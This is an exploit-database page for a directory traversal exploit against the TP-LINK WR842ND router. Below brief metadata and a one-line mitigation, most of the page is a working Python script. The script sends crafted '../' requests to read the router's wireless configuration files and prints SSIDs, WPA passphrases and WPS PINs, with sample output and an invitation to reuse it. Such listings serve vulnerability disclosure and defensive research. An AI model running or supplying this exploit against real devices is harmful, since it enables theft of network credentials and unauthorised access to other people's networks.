header-logo
Suggest Exploit
vendor:
WR842ND
by:
Adam Simuntis
6,4
CVSS
MEDIUM
Directory Traversal
22
CWE
Product Name: WR842ND
Affected Version From: 3.12.22 Build 120424 Rel.39632n
Affected Version To: 3.12.22 Build 120424 Rel.39632n
Patch Exists: NO
Related CWE: N/A
CPE: h:tp-link:wr842nd
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2020

TP-LINK WR842ND Remote Multiple SSID Directory Travesal Exploit

This exploit allows an attacker to gain access to the router configuration if remote management is enabled. If the attacker is connected to the router network, they can discover other configured SSIDs. This exploit was successfully tested against TP-LINK WR842ND with Firmware Version 3.12.22 Build 120424 Rel.39632n.

Mitigation:

Disable remote management and ensure that only necessary SSIDs are configured.
Source

Exploit-DB raw data:

#!/usr/bin/python

'''
TP-LINK WR842ND Remote Multiple SSID Directory Travesal Exploit
Adam Simuntis :: http://unixjail.com

If remote management is on you have full access to router configuration - if not and you're connected
to router network you can discover another configured SSID's. 

 
Successfully tested against TP-LINK WR842ND
Firmware Version:	3.12.22 Build 120424 Rel.39632n

Feel free to use, modify and distribute. 

.-(~)---------------------------------------------------------------------------------(adam@ninja)-
`--> python2 e.py ip:port
TP-LINK WR842ND Remote Multiple SSID Directory Travesal Exploit
Adam Simuntis :: http://unixjail.com

:: Crafting and sending evil request..

-> ssid="some_network"
   !wps_default_pin=01010101
   !wpa_passphrase="secretpsk"


:: Search for another networks? (y/n)
> y

:: Searching..

:: Jumping for SSID 1..

-> ssid="another_network"
   !wps_default_pin=01010101
   !wpa_passphrase="another_secretpsk"

:: Jumping for SSID 2..


:: Jumping for SSID 3..


:: Jumping for SSID 4..

.-(~)---------------------------------------------------------------------------------(adam@ninja)-
`--> 

'''

import requests,sys,socket
from time import sleep

data=''
data2=''
url=''	

W  = '\033[0m'  
R  = '\033[31m' 
B  = '\033[34m' 

#KISS
def parse_data(text):
	words = text.split()

        for word in words :
		if 'ssid' in word and 'ignore' not in word :
			print W+"-> "+B+"%s" %(word)
                if 'pass' in word :
                        print W+"   !"+R+"%s" %(word)
		if 'default_pin' in word :
			print W+"   !"+R+"%s" %(word)
	print W

def make_url(host,n):
	 junk = ("http://%s/help/../../../../../../../../../../../../../../../../tmp/ath%s.ap_bss") % (host,n)
	 return junk

if len(sys.argv) == 1 :
	print "Usage: %s router_ip:port (default port=80)" %(sys.argv[0])
	sys.exit()

url = make_url(sys.argv[1],0)

if ':' in sys.argv[1] :
	host = sys.argv[1].split(":")
else :
	host = sys.argv[1]

headers={
"Host" : host[0],
"User-Agent" : "Mozzila/5.0",
"Referer" : "http://"+host[0]+"/"	
} 

print "TP-LINK WR842ND Remote Multiple SSID Directory Travesal Exploit"
print "Adam Simuntis :: http://unixjail.com\n"

try:
	print R+":: Crafting and sending evil request.."
	print W
	data = requests.get(url,headers=headers).content

except requests.ConnectionError, e:
   print R+":! Connection error!\n"
   sys.exit()

if data :
	parse_data(data)
else :
	print B+":! Ups.. seems to be not vulnerable"
	print W

print "\n:: Search for another networks? (y/n)"
answer = raw_input("> ")

if answer=="y" or answer=="Y" :
	print R+"\n:: Searching.."
	print W

	for i in range(1,5) :

		print W+":: Jumping for SSID %s..\n" %(i)

		sleep(3)
		
		url = make_url(sys.argv[1],i)
		data2 = requests.get(url,headers=headers).content 

		if data2 :
			parse_data(data2)
		else :
			print B+"-> Nothing..\n"
			
else : 
	print W+"\n:: Bye!"
		
print